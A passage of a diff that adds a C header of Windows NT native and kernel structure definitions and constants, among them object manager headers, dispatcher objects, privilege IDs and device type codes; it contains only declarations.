_IO_COMPLETION_BASIC_INFORMATION { + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; +#endif + +/* +** IoCompletion END +*/ + +/* +** Event START +*/ + +// +// Event Specific Access Rights. +// + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +/* +** Event END +*/ + +/* +** TIME_FIELDS START +*/ + +#ifndef CSHORT +typedef short CSHORT; +#endif +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +/* +** TIME_FIELDS END +*/ + +/* +** HANDLE START +*/ + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +/* +** HANDLE END +*/ + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +/* +** OBJECT MANAGER START +*/ + +// +// Header flags +// + +#define OB_FLAG_NEW_OBJECT 0x01 +#define OB_FLAG_KERNEL_OBJECT 0x02 +#define OB_FLAG_CREATOR_INFO 0x04 +#define OB_FLAG_EXCLUSIVE_OBJECT 0x08 +#define OB_FLAG_PERMANENT_OBJECT 0x10 +#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20 +#define OB_FLAG_SINGLE_HANDLE_ENTRY 0x40 +#define OB_FLAG_DELETED_INLINE 0x80 + +// +// InfoMask values +// + +#define OB_INFOMASK_PROCESS_INFO 0x10 +#define OB_INFOMASK_QUOTA 0x08 +#define OB_INFOMASK_HANDLE 0x04 +#define OB_INFOMASK_NAME 0x02 +#define OB_INFOMASK_CREATOR_INFO 0x01 + +typedef PVOID *PDEVICE_MAP; + +typedef struct _OBJECT_DIRECTORY_ENTRY { + PVOID ChainLink; + PVOID Object; + ULONG HashValue; +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _EX_PUSH_LOCK { + union + { + ULONG Locked : 1; + ULONG Waiting : 1; + ULONG Waking : 1; + ULONG MultipleShared : 1; + ULONG Shared : 28; + ULONG Value; + PVOID Ptr; + }; +} EX_PUSH_LOCK, *PEX_PUSH_LOCK; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_HEADER_NAME_INFO { + POBJECT_DIRECTORY Directory; + UNICODE_STRING Name; + ULONG QueryReferences; +} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO; + +typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32 + LIST_ENTRY TypeList; // Size=16 Offset=0 + PVOID CreatorUniqueProcess; // Size=8 Offset=16 + USHORT CreatorBackTraceIndex; // Size=2 Offset=24 + USHORT Reserved; // Size=2 Offset=26 +} OBJECT_HEADER_CREATOR_INFO, *POBJECT_HEADER_CREATOR_INFO; + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16 + PVOID Process; // Size=8 Offset=0 + struct + { + unsigned long HandleCount : 24; // Size=4 Offset=8 BitOffset=0 BitCount=24 + unsigned long LockCount : 8; // Size=4 Offset=8 BitOffset=24 BitCount=8 + }; +} OBJECT_HANDLE_COUNT_ENTRY, *POBJECT_HANDLE_COUNT_ENTRY; + +typedef struct _OBJECT_HEADER_HANDLE_INFO // Size=16 +{ + union + { + PVOID HandleCountDataBase; // Size=8 Offset=0 + struct _OBJECT_HANDLE_COUNT_ENTRY SingleEntry; // Size=16 Offset=0 + }; +} OBJECT_HEADER_HANDLE_INFO, *POBJECT_HEADER_HANDLE_INFO; + +typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16 + PVOID ExclusiveProcess; // Size=8 Offset=0 + unsigned __int64 Reserved; // Size=8 Offset=8 +} OBJECT_HEADER_PROCESS_INFO, *POBJECT_HEADER_PROCESS_INFO; + +typedef struct _OBJECT_HEADER_QUOTA_INFO { + ULONG PagedPoolCharge; //4 + ULONG NonPagedPoolCharge; //4 + ULONG SecurityDescriptorCharge; //4 + PVOID SecurityDescriptorQuotaBlock; //sizeof(pointer) + unsigned __int64 Reserved; //sizeof(uint64) +} OBJECT_HEADER_QUOTA_INFO, *POBJECT_HEADER_QUOTA_INFO; + +typedef struct _QUAD { + union + { + INT64 UseThisFieldToCopy; + float DoNotUseThisField; + }; +} QUAD, *PQUAD; + +typedef struct _OBJECT_CREATE_INFORMATION { + ULONG Attributes; + PVOID RootDirectory; + CHAR ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION; + +typedef enum _POOL_TYPE { + NonPagedPool = 0, + NonPagedPoolExecute = 0, + PagedPool = 1, + NonPagedPoolMustSucceed = 2, + DontUseThisType = 3, + NonPagedPoolCacheAligned = 4, + PagedPoolCacheAligned = 5, + NonPagedPoolCacheAlignedMustS = 6, + MaxPoolType = 7, + NonPagedPoolBase = 0, + NonPagedPoolBaseMustSucceed = 2, + NonPagedPoolBaseCacheAligned = 4, + NonPagedPoolBaseCacheAlignedMustS = 6, + NonPagedPoolSession = 32, + PagedPoolSession = 33, + NonPagedPoolMustSucceedSession = 34, + DontUseThisTypeSession = 35, + NonPagedPoolCacheAlignedSession = 36, + PagedPoolCacheAlignedSession = 37, + NonPagedPoolCacheAlignedMustSSession = 38, + NonPagedPoolNx = 512, + NonPagedPoolNxCacheAligned = 516, + NonPagedPoolSessionNx = 544 +} POOL_TYPE; + +typedef struct _OBJECT_TYPE_INITIALIZER_V1 { + USHORT Length; + BOOLEAN UseDefaultObject; + BOOLEAN Reserved1; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN MaintainTypeList; + UCHAR Reserved2; + BOOLEAN PagedPool; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER_V1, *POBJECT_TYPE_INITIALIZER_V1; + +typedef struct _OBJECT_TYPE_INITIALIZER_V2 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER_V2, *POBJECT_TYPE_INITIALIZER_V2; + +typedef struct _OBJECT_TYPE_INITIALIZER_V3 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 + ULONG WaitObjectFlagMask; // Size=4 Offset=112 + USHORT WaitObjectFlagOffset; // Size=2 Offset=116 + USHORT WaitObjectPointerOffset; // Size=2 Offset=118 +} OBJECT_TYPE_INITIALIZER_V3, *POBJECT_TYPE_INITIALIZER_V3; + +typedef struct _OBJECT_TYPE_INITIALIZER {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE_V2 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V2, *POBJECT_TYPE_V2; + +typedef struct _OBJECT_TYPE_V3 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V3 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V3, *POBJECT_TYPE_V3; + +typedef struct _OBJECT_TYPE_COMPATIBLE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; +} OBJECT_TYPE_COMPATIBLE, *POBJECT_TYPE_COMPATIBLE; + +/* +** brand new header starting from 6.1 +*/ + +typedef struct _OBJECT_HEADER { + LONG PointerCount; + union + { + LONG HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UCHAR TypeIndex; + UCHAR TraceFlags; + UCHAR InfoMask; + UCHAR Flags; + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + PVOID SecurityDescriptor; + QUAD Body; +} OBJECT_HEADER, *POBJECT_HEADER; + +#define OBJECT_TO_OBJECT_HEADER(obj) \ + CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) + +/* +** OBJECT MANAGER END +*/ + +/* +* WDM START +*/ +#define TIMER_TOLERABLE_DELAY_BITS 6 +#define TIMER_EXPIRED_INDEX_BITS 6 +#define TIMER_PROCESSOR_INDEX_BITS 5 + +typedef struct _DISPATCHER_HEADER { + union { + union { + volatile LONG Lock; + LONG LockNV; + } DUMMYUNIONNAME; + + struct { // Events, Semaphores, Gates, etc. + UCHAR Type; // All (accessible via KOBJECT_TYPE) + UCHAR Signalling; + UCHAR Size; + UCHAR Reserved1; + } DUMMYSTRUCTNAME; + + struct { // Timer + UCHAR TimerType; + union { + UCHAR TimerControlFlags; + struct { + UCHAR Absolute : 1; + UCHAR Wake : 1; + UCHAR EncodedTolerableDelay : TIMER_TOLERABLE_DELAY_BITS; + } DUMMYSTRUCTNAME; + }; + + UCHAR Hand; + union { + UCHAR TimerMiscFlags; + struct { + +#if !defined(KENCODED_TIMER_PROCESSOR) + + UCHAR Index : TIMER_EXPIRED_INDEX_BITS; + +#else + + UCHAR Index : 1; + UCHAR Processor : TIMER_PROCESSOR_INDEX_BITS; + +#endif + + UCHAR Inserted : 1; + volatile UCHAR Expired : 1; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + } DUMMYSTRUCTNAME2; + + struct { // Timer2 + UCHAR Timer2Type; + union { + UCHAR Timer2Flags; + struct { + UCHAR Timer2Inserted : 1; + UCHAR Timer2Expiring : 1; + UCHAR Timer2CancelPending : 1; + UCHAR Timer2SetPending : 1; + UCHAR Timer2Running : 1; + UCHAR Timer2Disabled : 1; + UCHAR Timer2ReservedFlags : 2; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR Timer2Reserved1; + UCHAR Timer2Reserved2; + } DUMMYSTRUCTNAME3; + + struct { // Queue + UCHAR QueueType; + union { + UCHAR QueueControlFlags; + struct { + UCHAR Abandoned : 1; + UCHAR DisableIncrement : 1; + UCHAR QueueReservedControlFlags : 6; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR QueueSize; + UCHAR QueueReserved; + } DUMMYSTRUCTNAME4; + + struct { // Thread + UCHAR ThreadType; + UCHAR ThreadReserved; + union { + UCHAR ThreadControlFlags; + struct { + UCHAR CycleProfiling : 1; + UCHAR CounterProfiling : 1; + UCHAR GroupScheduling : 1; + UCHAR AffinitySet : 1; + UCHAR ThreadReservedControlFlags : 4; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + union { + UCHAR DebugActive; + +#if !defined(_X86_) + + struct { + BOOLEAN ActiveDR7 : 1; + BOOLEAN Instrumented : 1; + BOOLEAN Minimal : 1; + BOOLEAN Reserved4 : 3; + BOOLEAN UmsScheduled : 1; + BOOLEAN UmsPrimary : 1; + } DUMMYSTRUCTNAME; + +#endif + + } DUMMYUNIONNAME2; + } DUMMYSTRUCTNAME5; + + struct { // Mutant + UCHAR MutantType; + UCHAR MutantSize; + BOOLEAN DpcActive; + UCHAR MutantReserved; + } DUMMYSTRUCTNAME6; + } DUMMYUNIONNAME; + + LONG SignalState; // Object lock + LIST_ENTRY WaitListHead; // Object lock +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT { + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KMUTANT { + DISPATCHER_HEADER Header; + LIST_ENTRY MutantListEntry; + struct _KTHREAD *OwnerThread; + BOOLEAN Abandoned; + UCHAR ApcDisable; +} KMUTANT, *PKMUTANT, *PRKMUTANT, KMUTEX, *PKMUTEX, *PRKMUTEX; + +typedef struct _KSEMAPHORE { + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE, *PRKSEMAPHORE; + +typedef struct _KTIMER { + DISPATCHER_HEADER Header; + ULARGE_INTEGER DueTime; + LIST_ENTRY TimerListEntry; + struct _KDPC *Dpc; + ULONG Processor; + LONG Period; +} KTIMER, *PKTIMER, *PRKTIMER; + +typedef struct _KDEVICE_QUEUE_ENTRY { + LIST_ENTRY DeviceListEntry; + ULONG SortKey; + BOOLEAN Inserted; +} KDEVICE_QUEUE_ENTRY, *PKDEVICE_QUEUE_ENTRY, *PRKDEVICE_QUEUE_ENTRY; + +typedef enum _KDPC_IMPORTANCE { + LowImportance, + MediumImportance, + HighImportance +} KDPC_IMPORTANCE; + +typedef struct _KDPC { + union { + ULONG TargetInfoAsUlong; + struct { + UCHAR Type; + UCHAR Importance; + volatile USHORT Number; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + SINGLE_LIST_ENTRY DpcListEntry; + KAFFINITY ProcessorHistory; + PVOID DeferredRoutine; + PVOID DeferredContext; + PVOID SystemArgument1; + PVOID SystemArgument2; + __volatile PVOID DpcData; +} KDPC, *PKDPC, *PRKDPC; + +typedef struct _WAIT_CONTEXT_BLOCK { + union { + KDEVICE_QUEUE_ENTRY WaitQueueEntry; + struct { + LIST_ENTRY DmaWaitEntry; + ULONG NumberOfChannels; + ULONG SyncCallback : 1; + ULONG DmaContext : 1; + ULONG Reserved : 30; + }; + }; + PVOID DeviceRoutine; + PVOID DeviceContext; + ULONG NumberOfMapRegisters; + PVOID DeviceObject; + PVOID CurrentIrp; + PKDPC BufferChainingDpc; +} WAIT_CONTEXT_BLOCK, *PWAIT_CONTEXT_BLOCK; + +#define MAXIMUM_VOLUME_LABEL_LENGTH (32 * sizeof(WCHAR)) // 32 characters + +typedef struct _VPB { + CSHORT Type; + CSHORT Size; + USHORT Flags; + USHORT VolumeLabelLength; // in bytes + struct _DEVICE_OBJECT *DeviceObject; + struct _DEVICE_OBJECT *RealDevice; + ULONG SerialNumber; + ULONG ReferenceCount; + WCHAR VolumeLabel[MAXIMUM_VOLUME_LABEL_LENGTH / sizeof(WCHAR)]; +} VPB, *PVPB; + +typedef struct _KQUEUE { + DISPATCHER_HEADER Header; + LIST_ENTRY EntryListHead; + ULONG CurrentCount; + ULONG MaximumCount; + LIST_ENTRY ThreadListHead; +} KQUEUE, *PKQUEUE; + +typedef struct _KDEVICE_QUEUE { + CSHORT Type; + CSHORT Size; + LIST_ENTRY DeviceListHead; + KSPIN_LOCK Lock; + +#if defined(_AMD64_) + + union { + BOOLEAN Busy; + struct { + LONG64 Reserved : 8; + LONG64 Hint : 56; + }; + }; + +#else + + BOOLEAN Busy; + +#endif + +} KDEVICE_QUEUE, *PKDEVICE_QUEUE, *PRKDEVICE_QUEUE; + +enum _KOBJECTS { + EventNotificationObject = 0x0, + EventSynchronizationObject = 0x1, + MutantObject = 0x2, + ProcessObject = 0x3, + QueueObject = 0x4, + SemaphoreObject = 0x5, + ThreadObject = 0x6, + GateObject = 0x7, + TimerNotificationObject = 0x8, + TimerSynchronizationObject = 0x9, + Spare2Object = 0xa, + Spare3Object = 0xb, + Spare4Object = 0xc, + Spare5Object = 0xd, + Spare6Object = 0xe, + Spare7Object = 0xf, + Spare8Object = 0x10, + Spare9Object = 0x11, + ApcObject = 0x12, + DpcObject = 0x13, + DeviceQueueObject = 0x14, + EventPairObject = 0x15, + InterruptObject = 0x16, + ProfileObject = 0x17, + ThreadedDpcObject = 0x18, + MaximumKernelObject = 0x19, +}; + +#define DO_VERIFY_VOLUME 0x00000002 // ntddk nthal ntifs wdm +#define DO_BUFFERED_IO 0x00000004 // ntddk nthal ntifs wdm +#define DO_EXCLUSIVE 0x00000008 // ntddk nthal ntifs wdm +#define DO_DIRECT_IO 0x00000010 // ntddk nthal ntifs wdm +#define DO_MAP_IO_BUFFER 0x00000020 // ntddk nthal ntifs wdm +#define DO_DEVICE_HAS_NAME 0x00000040 // ntddk nthal ntifs +#define DO_DEVICE_INITIALIZING 0x00000080 // ntddk nthal ntifs wdm +#define DO_SYSTEM_BOOT_PARTITION 0x00000100 // ntddk nthal ntifs +#define DO_LONG_TERM_REQUESTS 0x00000200 // ntddk nthal ntifs +#define DO_NEVER_LAST_DEVICE 0x00000400 // ntddk nthal ntifs +#define DO_SHUTDOWN_REGISTERED 0x00000800 // ntddk nthal ntifs wdm +#define DO_BUS_ENUMERATED_DEVICE 0x00001000 // ntddk nthal ntifs wdm +#define DO_POWER_PAGABLE 0x00002000 // ntddk nthal ntifs wdm +#define DO_POWER_INRUSH 0x00004000 // ntddk nthal ntifs wdm +#define DO_POWER_NOOP 0x00008000 +#define DO_LOW_PRIORITY_FILESYSTEM 0x00010000 // ntddk nthal ntifs +#define DO_XIP 0x00020000 + +#define FILE_REMOVABLE_MEDIA 0x00000001 +#define FILE_READ_ONLY_DEVICE 0x00000002 +#define FILE_FLOPPY_DISKETTE 0x00000004 +#define FILE_WRITE_ONCE_MEDIA 0x00000008 +#define FILE_REMOTE_DEVICE 0x00000010 +#define FILE_DEVICE_IS_MOUNTED 0x00000020 +#define FILE_VIRTUAL_VOLUME 0x00000040 +#define FILE_AUTOGENERATED_DEVICE_NAME 0x00000080 +#define FILE_DEVICE_SECURE_OPEN 0x00000100 +#define FILE_CHARACTERISTIC_PNP_DEVICE 0x00000800 +#define FILE_CHARACTERISTIC_TS_DEVICE 0x00001000 +#define FILE_CHARACTERISTIC_WEBDAV_DEVICE 0x00002000 +#define FILE_CHARACTERISTIC_CSV 0x00010000 +#define FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL 0x00020000 +#define FILE_PORTABLE_DEVICE 0x00040000 + +#define FILE_DEVICE_BEEP 0x00000001 +#define FILE_DEVICE_CD_ROM 0x00000002 +#define FILE_DEVICE_CD_ROM_FILE_SYSTEM 0x00000003 +#define FILE_DEVICE_CONTROLLER 0x00000004 +#define FILE_DEVICE_DATALINK 0x00000005 +#define FILE_DEVICE_DFS 0x00000006 +#define FILE_DEVICE_DISK 0x00000007 +#define FILE_DEVICE_DISK_FILE_SYSTEM 0x00000008 +#define FILE_DEVICE_FILE_SYSTEM 0x00000009 +#define FILE_DEVICE_INPORT_PORT 0x0000000a +#define FILE_DEVICE_KEYBOARD 0x0000000b +#define FILE_DEVICE_MAILSLOT 0x0000000c +#define FILE_DEVICE_MIDI_IN 0x0000000d +#define FILE_DEVICE_MIDI_OUT 0x0000000e +#define FILE_DEVICE_MOUSE 0x0000000f +#define FILE_DEVICE_MULTI_UNC_PROVIDER 0x00000010 +#define FILE_DEVICE_NAMED_PIPE 0x00000011 +#define FILE_DEVICE_NETWORK 0x00000012 +#define FILE_DEVICE_NETWORK_BROWSER 0x00000013 +#define FILE_DEVICE_NETWORK_FILE_SYSTEM 0x00000014 +#define FILE_DEVICE_NULL 0x00000015 +#define FILE_DEVICE_PARALLEL_PORT 0x00000016 +#define FILE_DEVICE_PHYSICAL_NETCARD 0x00000017 +#define FILE_DEVICE_PRINTER 0x00000018 +#define FILE_DEVICE_SCANNER 0x00000019 +#define FILE_DEVICE_SERIAL_MOUSE_PORT 0x0000001a +#define FILE_DEVICE_SERIAL_PORT 0x0000001b +#define FILE_DEVICE_SCREEN 0x0000001c +#define FILE_DEVICE_SOUND 0x0000001d +#define FILE_DEVICE_STREAMS 0x0000001e +#define FILE_DEVICE_TAPE 0x0000001f +#define FILE_DEVICE_TAPE_FILE_SYSTEM 0x00000020 +#define FILE_DEVICE_TRANSPORT 0x00000021 +#define FILE_DEVICE_UNKNOWN 0x00000022 +#define FILE_DEVICE_VIDEO 0x00000023 +#define FILE_DEVICE_VIRTUAL_DISK 0x00000024 +#define FILE_DEVICE_WAVE_IN 0x00000025 +#define FILE_DEVICE_WAVE_OUT 0x00000026 +#define FILE_DEVICE_8042_PORT 0x00000027 +#define FILE_DEVICE_NETWORK_REDIRECTOR 0x00000028 +#define FILE_DEVICE_BATTERY 0x00000029 +#define FILE_DEVICE_BUS_EXTENDER 0x0000002a +#define FILE_DEVICE_MODEM 0x0000002b +#define FILE_DEVICE_VDM 0x0000002c +#define FILE_DEVICE_MASS_STORAGE 0x0000002d +#define FILE_DEVICE_SMB 0x0000002e +#define FILE_DEVICE_KS 0x0000002f +#define FILE_DEVICE_CHANGER 0x00000030 +#define FILE_DEVICE_SMARTCARD 0x00000031 +#define FILE_DEVICE_ACPI 0x00000032 +#define FILE_DEVICE_DVD 0x00000033 +#define FILE_DEVICE_FULLSCREEN_VIDEO 0x00000034 +#define FILE_DEVICE_DFS_FILE_SYSTEM 0x00000035 +#define FILE_DEVICE_DFS_VOLUME 0x00000036 +#define FILE_DEVICE_SERENUM 0x00000037 +#define FILE_DEVICE_TERMSRV 0x00000038 +#define FILE_DEVICE_KSEC 0x00000039 +#define FILE_DEVICE_FIPS 0x0000003A +#define FILE_DEVICE_INFINIBAND 0x0000003B +#define FILE_DEVICE_VMBUS 0x0000003E +#define FILE_DEVICE_CRYPT_PROVIDER 0x0000003F +#define FILE_DEVICE_WPD 0x00000040 +#define FILE_DEVICE_BLUETOOTH 0x00000041 +#define FILE_DEVICE_MT_COMPOSITE 0x00000042 +#define FILE_DEVICE_MT_TRANSPORT 0x00000043 +#define FILE_DEVICE_BIOMETRIC 0x00000044 +#define FILE_DEVICE_PMI 0x00000045 +#define FILE_DEVICE_EHSTOR 0x00000046 +#define FILE_DEVICE_DEVAPI 0x00000047 +#define FILE_DEVICE_GPIO 0x00000048 +#define FILE_DEVICE_USBEX 0x00000049 +#define FILE_DEVICE_CONSOLE 0x00000050 +#define FILE_DEVICE_NFP 0x00000051 +#define FILE_DEVICE_SYSENV 0x00000052 +#define FILE_DEVICE_VIRTUAL_BLOCK 0x00000053 +#define FILE_DEVICE_POINT_OF_SERVICE 0x00000054 + +#define FILE_BYTE_ALIGNMENT 0x00000000 +#define FILE_WORD_ALIGNMENT 0x00000001 +#define FILE_LONG_ALIGNMENT 0x00000003 +#define FILE_QUAD_ALIGNMENT 0x00000007 +#define FILE_OCTA_ALIGNMENT 0x0000000f +#define FILE_32_BYTE_ALIGNMENT 0x0000001f +#define FILE_64_BYTE_ALIGNMENT 0x0000003f +#define 